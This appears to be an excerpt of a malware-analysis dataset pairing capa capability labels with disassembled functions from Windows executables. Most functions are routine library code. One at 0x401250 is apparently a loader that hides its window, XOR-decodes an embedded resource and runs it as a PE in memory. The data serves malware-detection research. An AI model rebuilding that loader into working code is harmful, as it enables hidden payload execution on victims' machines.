joyce8/EMBER2024-capa huggingface dataset:
Function at 0x46c970
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
sub esp, 0x5c
mov ecx, dword [esp + 0x7c]
mov eax, dword [esp + 0x78]
mov ebx, dword [esp + 0x70]
mov esi, dword [esp + 0x74]
mov dword [esp + 0x34], ecx
mov ecx, 0x4d66a0
mov dword [esp + 0x30], eax
call method.std::locale::id._M_id___const
mov edx, dword [esp + 0x80]
mov edx, dword [edx + 0x6c]
cmp eax, dword [edx + 8]
jae 0x46cb21
mov edx, dword [edx + 4]
mov eax, dword [edx + eax*4]
test eax, eax
je 0x46cb21
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x53143c
mov dword [esp + 4], 0x5310d4
mov dword [esp], eax
call sym.___dynamic_cast
test eax, eax
je 0x46cb21
mov eax, dword [eax + 8]
mov edx, dword [esp + 0x88]
lea ebp, [esp + 0x44]
mov ecx, dword [esp + 0x34]
mov eax, dword [eax + 8]
mov dword [esp + 0x18], edx
mov edx, dword [esp + 0x84]
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 0x14], edx
mov edx, dword [esp + 0x80]
mov dword [esp + 0xc], ecx
mov ecx, edi
mov dword [esp], ebx
mov dword [esp + 0x10], edx
mov dword [esp + 8], eax
mov dword [esp + 4], esi
mov dword [esp + 0x44], 0
mov dword [esp + 0x48], 0
mov dword [esp + 0x4c], 0
call fcn.0046e130
mov ecx, ebp
sub esp, 0x24
mov ebx, eax
mov edi, eax
mov eax, dword [esp + 0x88]
mov word [esp + 0x3a], dx
mov dword [esp + 0x3c], edx
mov dword [esp], eax
call method.std::__time_get_state._M_finalize_state_tm_
sub esp, 4
mov edx, dword [esp + 0x3c]
cmp dx, 0xffff
sete dl
test ebx, ebx
setne al
and al, dl
mov ebp, eax
jne 0x46cae0
cmp word [esp + 0x34], 0xffff
mov ebx, dword [esp + 0x30]
sete al
mov ecx, eax
test ebx, ebx
je 0x46ca9e
test al, al
jne 0x46cac0
cmp dl, cl
jne 0x46caac
mov eax, dword [esp + 0x84]
or dword [eax], 2
mov si, word [esp + 0x3a]
add esp, 0x5c
mov eax, edi
pop ebx
mov edx, esi
pop esi
pop edi
pop ebp
ret 0x1c
mov ebx, dword [esp + 0x30]
mov eax, dword [ebx + 8]
cmp eax, dword [ebx + 0xc]
jae 0x46cb00
movzx eax, word [eax]
cmp ax, 0xffff
sete cl
jmp 0x46ca9e
mov eax, dword [ebx + 8]
cmp eax, dword [ebx + 0xc]
jae 0x46cb18
movzx eax, word [eax]
xor edx, edx
mov edi, 0
cmp ax, 0xffff
cmove edx, ebp
cmovne edi, ebx
jmp 0x46ca87
mov ecx, dword [esp + 0x30]
mov byte [esp + 0x34], dl
mov eax, dword [ecx]
call dword [eax + 0x24]
movzx edx, byte [esp + 0x34]
jmp 0x46cacf
mov eax, dword [ebx]
mov ecx, ebx
call dword [eax + 0x24]
jmp 0x46caeb
call method.std.__throw_bad_cast__
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
Function at 0x46cb30
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
sub esp, 0x5c
mov ecx, dword [esp + 0x7c]
mov eax, dword [esp + 0x78]
mov ebx, dword [esp + 0x70]
mov esi, dword [esp + 0x74]
mov dword [esp + 0x34], ecx
mov ecx, 0x4d66a0
mov dword [esp + 0x30], eax
call method.std::locale::id._M_id___const
mov edx, dword [esp + 0x80]
mov edx, dword [edx + 0x6c]
cmp eax, dword [edx + 8]
jae 0x46cce1
mov edx, dword [edx + 4]
mov eax, dword [edx + eax*4]
test eax, eax
je 0x46cce1
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x53143c
mov dword [esp + 4], 0x5310d4
mov dword [esp], eax
call sym.___dynamic_cast
test eax, eax
je 0x46cce1
mov eax, dword [eax + 8]
mov edx, dword [esp + 0x88]
lea ebp, [esp + 0x44]
mov dword [esp + 0x44], 0
mov ecx, dword [esp + 0x34]
mov dword [esp + 0x48], 0
mov eax, dword [eax + 0x10]
mov dword [esp + 0x18], edx
mov edx, dword [esp + 0x84]
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 0x14], edx
mov edx, dword [esp + 0x80]
mov dword [esp + 0xc], ecx
mov ecx, edi
mov dword [esp], ebx
mov dword [esp + 0x10], edx
mov dword [esp + 8], eax
mov dword [esp + 4], esi
mov dword [esp + 0x4c], 0
call fcn.0046e130
mov ecx, ebp
sub esp, 0x24
mov ebx, eax
mov edi, eax
mov eax, dword [esp + 0x88]
mov word [esp + 0x3a], dx
mov dword [esp + 0x3c], edx
mov dword [esp], eax
call method.std::__time_get_state._M_finalize_state_tm_
sub esp, 4
mov edx, dword [esp + 0x3c]
cmp dx, 0xffff
sete dl
test ebx, ebx
setne al
and al, dl
mov ebp, eax
jne 0x46cca0
cmp word [esp + 0x34], 0xffff
mov ebx, dword [esp + 0x30]
sete al
mov ecx, eax
test ebx, ebx
je 0x46cc5e
test al, al
jne 0x46cc80
cmp dl, cl
jne 0x46cc6c
mov eax, dword [esp + 0x84]
or dword [eax], 2
mov si, word [esp + 0x3a]
add esp, 0x5c
mov eax, edi
pop ebx
mov edx, esi
pop esi
pop edi
pop ebp
ret 0x1c
mov ebx, dword [esp + 0x30]
mov eax, dword [ebx + 8]
cmp eax, dword [ebx + 0xc]
jae 0x46ccc0
movzx eax, word [eax]
cmp ax, 0xffff
sete cl
jmp 0x46cc5e
mov eax, dword [ebx + 8]
cmp eax, dword [ebx + 0xc]
jae 0x46ccd8
movzx eax, word [eax]
xor edx, edx
mov edi, 0
cmp ax, 0xffff
cmove edx, ebp
cmovne edi, ebx
jmp 0x46cc47
mov ecx, dword [esp + 0x30]
mov byte [esp + 0x34], dl
mov eax, dword [ecx]
call dword [eax + 0x24]
movzx edx, byte [esp + 0x34]
jmp 0x46cc8f
mov eax, dword [ebx]
mov ecx, ebx
call dword [eax + 0x24]
jmp 0x46ccab
call method.std.__throw_bad_cast__
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
Function at 0x487670
Capabilities:
Read file on windows

Disassembly:
push ebp
push edi
push esi
push ebx
mov ebx, ecx
sub esp, 0x1c
mov edi, dword [esp + 0x30]
mov esi, dword [esp + 0x34]
mov eax, dword [ebx]
mov dword [esp], eax
call sym._fileno
mov dword [esp + 8], esi
mov dword [esp + 4], edi
mov dword [esp], eax
call sym._read
mov ebp, eax
cmp eax, 0xffffffff
je 0x4876b0
add esp, 0x1c
mov eax, ebp
pop ebx
pop esi
pop edi
pop ebp
ret 8
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
cmp dword [eax], 4
je 0x487681
add esp, 0x1c
mov eax, ebp
pop ebx
pop esi
pop edi
pop ebp
ret 8
Function at 0x4ccfb0
Capabilities:
Query environment variable

Disassembly:
push edi
push esi
push ebx
sub esp, 0x30
mov dword [esp + 4], 0
mov dword [esp], 0x4d5600
call sym._pthread_mutex_init
mov dword [esp], str.GLIBCXX_TUNABLES
mov dword [0x4d5604], 0
mov dword [0x4d5608], 0
mov dword [0x4d560c], 0
call sym._getenv
mov dword [esp + 0x18], 8
mov dword [esp + 0x1c], str.obj_size
mov ebx, eax
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 9
mov dword [esp + 0x28], str.obj_count
mov dword [esp + 0x2c], 0x40
test eax, eax
jne 0x4cd046
jmp 0x4cd106
mov dword [esp], ebx
mov dword [esp + 4], 0x3a
call sym._strchr
mov ebx, eax
test eax, eax
je 0x4cd0c0
xor eax, eax
cmp byte [ebx], 0x3a
sete al
add ebx, eax
mov eax, dword [ebx]
mov edx, dword [ebx + 4]
xor eax, 0x62696c67
xor edx, 0x2e787863
or eax, edx
jne 0x4cd030
mov eax, dword [ebx + 7]
mov edx, dword [ebx + 0xb]
xor eax, 0x5f68652e
xor edx, 0x6c6f6f70
or eax, edx
jne 0x4cd030
cmp byte [ebx + 0xf], 0x2e
jne 0x4cd030
add ebx, 0x10
lea esi, [esp + 0x18]
mov edi, dword [esi]
test edi, edi
je 0x4cd0a3
mov dword [esp + 8], edi
mov dword [esp + 4], ebx
mov eax, dword [esi + 4]
mov dword [esp], eax
call sym._memcmp
test eax, eax
jne 0x4cd0ad
cmp byte [ebx + edi], 0x3d
je 0x4cd134
add esi, 0xc
lea eax, [esp + 0x30]
cmp eax, esi
jne 0x4cd086
jmp 0x4cd030
mov eax, dword [esp + 0x2c]
mov edx, 0x100
mov ecx, 6
cmp eax, edx
cmovle edx, eax
mov eax, dword [esp + 0x20]
test eax, eax
cmove eax, ecx
add eax, 0x2c
imul eax, edx
lea ebx, [eax*4]
mov dword [0x4d560c], ebx
test ebx, ebx
jne 0x4cd115
mov dword [esp], sym.___tcf_0_4
call sym._atexit
add esp, 0x30
pop ebx
pop esi
pop edi
ret
mov dword [0x4d560c], 0x3200
mov ebx, 0x3200
mov dword [esp], ebx
call sym._malloc
mov dword [0x4d5608], eax
test eax, eax
je 0x4cd172
xor edx, edx
mov dword [0x4d5604], eax
mov dword [eax], ebx
mov dword [eax + 4], edx
jmp 0x4cd0f3
xor eax, eax
mov dword [esp + 8], eax
lea eax, [esp + 0x14]
mov dword [esp + 4], eax
lea eax, [ebx + edi + 1]
mov dword [esp], eax
call sym._strtoul
mov ebx, dword [esp + 0x14]
movzx edx, byte [ebx]
cmp dl, 0x3a
je 0x4cd162
test dl, dl
jne 0x4cd030
test eax, eax
js 0x4cd030
mov dword [esi + 8], eax
jmp 0x4cd030
xor ecx, ecx
mov dword [0x4d560c], ecx
jmp 0x4cd0f3
Function at 0x401250
Capabilities:
Extract resource via kernel32 functions
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0x415238
mov esi, eax
push 0x30a
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
je 0x40135c
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x40135c
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 8], eax
test eax, eax
je 0x40135c
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov esi, eax
mov eax, 0xaaaaaaab
mul esi
mov dword [ebp - 0x10], esi
mov eax, edx
shr eax, 2
push eax
mov dword [ebp - 0xc], eax
call fcn.0040141e
push esi
push str.dwSize:__d__n
mov ebx, eax
mov dword [ebp - 4], 0
call fcn.004013f0
add esp, 0xc
xor edi, edi
test esi, esi
je 0x401374
mov eax, 0xaaaaaaab
mov ecx, edi
mul edi
mov esi, edx
shr esi, 2
lea eax, [esi + esi*2]
add eax, eax
sub ecx, eax
cmp ecx, 0x2c
ja case.0x401313.3
movzx eax, byte [ecx + 0x4013bc]
jmp dword [eax*4 + 0x4013b0]
mov edx, dword [ebp - 4]
xor ecx, ecx
cmp edx, 8
lea eax, [edx + 1]
cmovne ecx, eax
mov eax, ecx
mov ecx, dword [ebp - 8]
mov dword [ebp - 4], eax
mov al, byte [eax + str.Ahah_I_am_91Man._Get_the_hell_out_Here1]
xor al, byte [edi + ecx]
mov byte [esi + ebx], al
jmp case.0x401313.1
cmp esi, dword [ebp - 0xc]
je case.0x401313.1
call fcn.00404370
cdq
mov ecx, 0xff
idiv ecx
mov byte [esi + ebx + 1], dl
inc edi
cmp edi, dword [ebp - 0x10]
jb 0x4012f2
jmp 0x401374
push 0
call fcn.0040141e
push 0
push str.dwSize:__d__n
mov ebx, eax
call fcn.004013f0
add esp, 0xc
push ebx
call fcn.00401000
add esp, 4
pop edi
pop esi
pop ebx
test eax, eax
jne 0x40139a
push str.Error:_loading_PE_from_memory._n
call fcn.004013f0
add esp, 4
mov eax, 1
mov esp, ebp
pop ebp
ret
push str.PE_launched_successfuly_n
call fcn.004013f0
add esp, 4
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x401b26
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x401b65
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x401b65
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401b65
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x401b65
cmp dword [ecx + 0x74], 0xe
jbe 0x401b65
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x40bb41
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x40bbde
push ebx
push esi
call fcn.0040bb0a
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0040baa0
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x40bb8b
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40bbdd
push edi
push eax
call fcn.00408dd0
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x40bbab
call fcn.004083f0
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40bbdc
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0040baa0
add esp, 0x20
test eax, eax
jne 0x40bbca
push edi
call fcn.004083f0
jmp 0x40bbd2
push ebx
call fcn.004083f0
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x41009b
Capabilities:
Get file size

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
sub esp, 0x18
mov eax, dword [eax + 0xc]
nop
shr eax, 3
test al, 1
je 0x4100b5
mov al, 1
leave
ret
mov eax, dword [ebp + 8]
push ebx
push esi
mov eax, dword [eax + 0xc]
nop
test al, 0xc0
mov eax, dword [ebp + 8]
je 0x4100cc
mov ecx, dword [eax]
cmp ecx, dword [eax + 4]
je 0x410124
mov eax, dword [eax + 0x10]
nop
push eax
call fcn.0040c27a
mov esi, eax
pop ecx
cmp esi, 0xffffffff
je 0x410124
xor ebx, ebx
lea eax, [ebp - 0x10]
inc ebx
xorps xmm0, xmm0
push ebx
push eax
movlpd qword [ebp - 8], xmm0
push dword [ebp - 4]
push dword [ebp - 8]
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x410124
lea eax, [ebp - 0x18]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x410124
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x18]
jne 0x41011e
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
je 0x410120
xor bl, bl
mov al, bl
jmp 0x410126
xor al, al
pop esi
pop ebx
leave
ret

Function at 0x414040
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x41406d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x41406d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x4029a8
Capabilities:
Get common file path
Set current directory

Disassembly:
push ebx
push esi
add esp, 0xfffffdf0
mov esi, edx
mov ebx, eax
test bl, bl
je 0x4029e5
xor eax, eax
mov al, bl
add eax, 0x41
dec eax
mov byte [esp], al
mov byte [esp + 1], 0x3a
mov byte [esp + 2], 0
lea eax, [esp + 0x109]
push eax
push 0x105
call sub.kernel32.dll_GetCurrentDirectoryA
push esp
call sub.kernel32.dll_SetCurrentDirectoryA
lea eax, [esp + 4]
push eax
push 0x105
call sub.kernel32.dll_GetCurrentDirectoryA
test bl, bl
je 0x402a05
lea eax, [esp + 0x109]
push eax
call sub.kernel32.dll_SetCurrentDirectoryA
mov eax, esi
lea edx, [esp + 4]
mov ecx, 0x105
call fcn.00404d60
add esp, 0x210
pop esi
pop ebx
ret

Function at 0x402b98
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.00404af0
test esi, esi
jne 0x402bce
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.00404be0
jmp 0x402bec
call sub.kernel32.dll_GetCommandLineA
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.00402aac
mov edi, eax
test esi, esi
je 0x402bec
cmp dword [ebx], 0
je 0x402bec
dec esi
jmp 0x402bd5
add esp, 0x108
pop edi
pop esi
pop ebx
ret

Function at 0x403394
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x5e3008], 0x8088405
inc edx
mov dword [ebx + 0x5e3008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x4035e8
Capabilities:
Write file on windows

Disassembly:
push ebx
mov ebx, eax
movzx eax, word [eax + 4]
sub eax, 0xd7b2
cmp eax, 1
ja 0x40361b
push 0
mov eax, esp
push 0
push eax
push dword [ebx + 8]
push edx
push dword [ebx]
call sub.kernel32.dll_WriteFile
pop edx
dec eax
jne 0x403622
cmp edx, dword [ebx + 8]
je 0x40362c
mov eax, 0x65
jmp 0x403627
mov eax, 5
jmp 0x403627
call sub.kernel32.dll_GetLastError
call fcn.0040291c
mov eax, ebx
pop ebx
ret

Function at 0x403b24
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x5e3024]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x403bbc
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x403b9c
xor eax, eax
push ebp
push 0x403b95
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x403bd8
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403b9c
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x5e3024]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x5e3024], ax
mov esp, ebp
pop ebp
ret
Function at 0x4048d0
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x635048], 0
je 0x404931
cmp word [0x63521c], 0xd7b2
jne 0x4048f9
cmp dword [0x635224], 0
jbe 0x4048f9
mov eax, 0x635218
call dword [0x635234]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x5e3094
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x404958
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x5e3034], 0
jne 0x40494d
push 0
push 0x5e308c
push 0x5e3094
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x404aa4
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
mov eax, 8
call fcn.00402794
mov dword [eax], edi
mov edx, dword [ebp + 0x10]
mov dword [eax + 4], edx
mov byte [0x635049], 1
mov edx, dword [ebp + 8]
push edx
mov edx, dword [ebp + 0xc]
push edx
push eax
mov eax, 0x404a6c
push eax
push esi
push ebx
call sub.kernel32.dll_CreateThread
pop edi
pop esi
pop ebx
pop ebp
ret 0xc
Function at 0x406cdc
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x406d42
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.00404d60
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.00403514
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x406d2c
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406d49
lea eax, [ebp - 0x10]
call fcn.00404af0
ret

Function at 0x409e3c
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
mov ebx, eax
mov eax, ebx
call fcn.00404fb0
push eax
call sub.kernel32.dll_GetFileAttributesA
cmp eax, 0xffffffff
je 0x409e55
test al, 0x10
jne 0x409e59
xor eax, eax
pop ebx
ret
mov al, 1
pop ebx
ret

Function at 0x409f48
Capabilities:
Set file attributes

Disassembly:
push ebx
push esi
push edi
mov edi, edx
mov esi, eax
xor ebx, ebx
push edi
mov eax, esi
call fcn.00404fb0
push eax
call sub.kernel32.dll_SetFileAttributesA
test eax, eax
jne 0x409f6a
call sub.kernel32.dll_GetLastError_1
mov ebx, eax
mov eax, ebx
pop edi
pop esi
pop ebx
ret

Function at 0x40cec0
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40cef9
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00404be0
jmp 0x40cf02
mov eax, ebx
mov edx, esi
call fcn.00404b44
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40cf0c
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40cf2d
mov al, byte [esp]
jmp 0x40cf2f
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret
Function at 0x40decc
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
xor edx, edx
mov dword [ebp - 8], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40dfa2
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 8]
mov edx, ebx
call fcn.00404b88
lea eax, [ebp - 8]
call fcn.00405000
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
call fcn.00404fb0
push eax
call sub.version.dll_GetFileVersionInfoSizeA
mov ebx, eax
test ebx, ebx
je 0x40df8c
mov eax, ebx
call fcn.00402794
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x40df85
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x10]
push eax
push ebx
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
call fcn.00404fb0
push eax
call sub.version.dll_GetFileVersionInfoA
test eax, eax
je 0x40df6f
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push 0x40dfb4
mov eax, dword [ebp - 0x10]
push eax
call sub.version.dll_VerQueryValueA
test eax, eax
je 0x40df6f
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 8]
mov dword [ebp - 4], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40df8c
mov eax, dword [ebp - 0x10]
call fcn.004027b4
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40dfa9
lea eax, [ebp - 8]
call fcn.00404af0
ret

Function at 0x40e5a4
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
xor edx, edx
mov dword [ebp - 0xc], edx
xor edx, edx
push ebp
push 0x40e608
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 7]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
lea eax, [ebp - 0xc]
lea edx, [ebp - 7]
mov ecx, 7
call fcn.00404d60
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_GetACP
mov edx, eax
pop eax
call fcn.00409a24
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40e60f
lea eax, [ebp - 0xc]
call fcn.00404af0
ret

Function at 0x423990
Capabilities:
Suspend thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov al, byte [eax + 0xe]
mov byte [ebp - 5], al
xor eax, eax
push ebp
push 0x4239dd
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov byte [eax + 0xe], 1
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
push eax
call sub.kernel32.dll_SuspendThread
test eax, eax
setge dl
mov eax, dword [ebp - 4]
call fcn.004237a4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4239f5
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret

Function at 0x4239fc
Capabilities:
Resume thread

Disassembly:
push ebx
push esi
mov ebx, eax
mov eax, dword [ebx + 4]
push eax
call sub.kernel32.dll_ResumeThread
mov esi, eax
test esi, esi
setge dl
mov eax, ebx
call fcn.004237a4
dec esi
jne 0x423a1e
mov byte [ebx + 0xe], 0
pop esi
pop ebx
ret
Function at 0x424b60
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, 0x635888
cmp dword [edi], 0
jne 0x424bdc
push 0x40
push 0x1000
push 0x1000
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
mov eax, dword [0x635884]
mov dword [esi], eax
lea edx, [esi + 4]
mov eax, 0x5e3558
mov ecx, 2
call fcn.00402a6c
mov edx, 0x424b38
lea eax, [esi + 5]
call fcn.00424b58
mov dword [esi + 6], eax
lea ebx, [esi + 0xa]
mov byte [ebx], 0xe8
lea edx, [esi + 4]
mov eax, ebx
call fcn.00424b58
mov dword [ebx + 1], eax
mov eax, dword [edi]
mov dword [ebx + 5], eax
mov dword [edi], ebx
add ebx, 0xd
mov eax, ebx
sub eax, esi
cmp eax, 0xffc
jl 0x424bb1
mov dword [0x635884], esi
mov eax, dword [edi]
mov ebx, dword [edi]
mov edx, dword [ebx + 5]
mov dword [edi], edx
mov edx, dword [ebp + 8]
mov dword [ebx + 5], edx
mov edx, dword [ebp + 0xc]
mov dword [ebx + 9], edx
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x426220
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x426226
ret

Function at 0x428cfc
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 0x2c]
push eax
call sub.kernel32.dll_GetSystemInfo
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 8]
dec ecx
js 0x428d4d
lea eax, [ebp - 0x2c]
cmp word [eax + 0x20], 3
je 0x428d34
mov eax, dword [edx + ecx*4]
bswap eax
shr eax, 8
mov dword [edx + ecx*4], eax
dec ecx
jns 0x428d24
jmp 0x428d4d
push ebx
xor ebx, ebx
mov eax, dword [edx + ecx*4]
mov bh, al
mov bl, ah
shr eax, 0x10
shl ebx, 8
mov bl, al
mov dword [edx + ecx*4], ebx
dec ecx
jns 0x428d35
pop ebx
mov esp, ebp
pop ebp
ret